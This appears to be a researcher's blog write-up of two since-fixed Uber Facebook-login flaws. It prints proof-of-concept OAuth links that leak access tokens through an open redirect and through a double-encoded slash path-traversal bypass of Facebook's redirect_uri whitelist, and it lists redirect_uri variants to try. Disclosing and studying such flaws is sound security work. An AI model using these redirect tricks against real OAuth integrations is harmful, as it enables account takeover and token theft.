I don’t have automation in my bug hunting, no sqlmap, sublist3r or jsparser. I tried, they just don’t work out for me. Other than a VPS server that help me to brute force certain endpoints to make a poc occasionally, all I have is a Burp Pro license on MBP. This is why you don’t see a lot of tools sharing or methodology sharing from me, not that I don’t want to share, it is because I don’t have those.
site:uber.com site:uberinternal.com site:yahoo.com is my hobby, looking through 15k of requests per day in Burp is daily job. Not going after reflective xss or stored xss except it’s right in my face. Test where the site leads me, check 10 variations of redirect_uri if the site use oauth. Most of my findings are irregular and spontaneous, hope this can answer the questions I keep getting from different channel.
But things that I can share among these irregularities, is the finding itself, I’m sharing a less-known Facebook redirect_uri trick today.
Back in 2016, Uber allow FB login in both login.uber.com and auth.uber.com, when we click login with Facebook button on the page, the flow:
At first glance, it is difficult to spot the problem, (maybe easy for some trained eyes), the thing in the flow is, login endpoint allow further redirect to *.uber.com, because of how browser security works, 302 location header redirect will preserve the anything after hash in the URL. This lead to a conclusion that if it is possible to find open redirect in the next_url parameter, and redirect user to *.uber.com then to attacker controlled site, then we are able to steal the access token in URL.
Cause Uber is not accepting open redirect as valid submission anymore, finding one is not that difficult, one open redirect that still work today is https://login.uber.com/logout
It redirects base on Referer header, try it yourself.
<a href="https://login.uber.com/logout">Click to see</a>
If you are paying attention, now you should be able to use these information to figure an exploitation to achieve FB ATO in Uber. Write down your own exploit and try to see if we are sharing the same thoughts in below.
Here is my exploit.
<a href="https://facebook.com/xxxx?client_id=xxxxxx&redirect_uri=https%3a%2f%2fauth.uber.com%2flogin%3fnext_url=https%3A%2F%2Flogin.uber.com%2Flogout%2F&state=state">Click to leak</a>alert(location.hash)
Maybe you want a step by step explanation, but I rather keep that for you to figure this out, after you finish this tutorial and all of my previous write-ups, come back here and you should able to know why exploit above work. (This learning process is much better than explaining it all out in this blog post, since there are dozens of article discussed about this already)
This was reported in late 2016. It was fixed promptly, and the fix is good, you should see how they fix it by yourself. I didn’t look back until early 2017.
In theory, these should be difficult to exploit against since they have already patched the bug of open redirect, there is no way for me to redirect user to https://login.uber.com/logout again.
Here is the thing starts to get really interesting, let’s have a look at facebook redirect_uri, say, you have https://www.example.com/directory as whitelisted url. Then the variety of redirect_uri should be
redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory -> Passed
redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%3fparameter%3dvalue -> Passed
redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%3fparameter%3dvalue%23 -> Failed since %23 in in the end of url
redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%2f..%2f..%2f -> Failed since it is using ../ to escape directory
All of the above redirect_uri variation is well known and have expected result, let’s look at something I found useful to exploit against Uber.
redirect_uri=https%3a%2f%2fwww.example.com%2fdirectory%252f..%252f..%252fescaped -> PASSED!!
After decoding in 302 response, the Location header now is
Now this is the time to see whether the server accept the encoded slash %2f, usually the server will not accept this and return plain 400 forbidden or 404 not found. Luckily for me, login.uber.com happily accepted this as normalised the directory in server side
https://login.uber.com/login -> present login page
https://login.uber.com/logout -> present logout page
https://login.uber.com/login%2f..%2f..%2flogout -> present logout page
Hence, combining Uber’s server side normalisation behaviour and Facebook’s acceptance of double url encoded slash, we have another way to takeover Uber’s FB account.
<a href="https://facebook.com/xxxx?client_id=xxxxxx&redirect_uri=https%3a%2f%2flogin.uber.com%2flogin%252f..%252f..%252flogout&state=state">Click to leak</a>alert(location.hash)
This was fixed by removing login.uber.com as the whitelist redirect_uri.
Thanks for reading.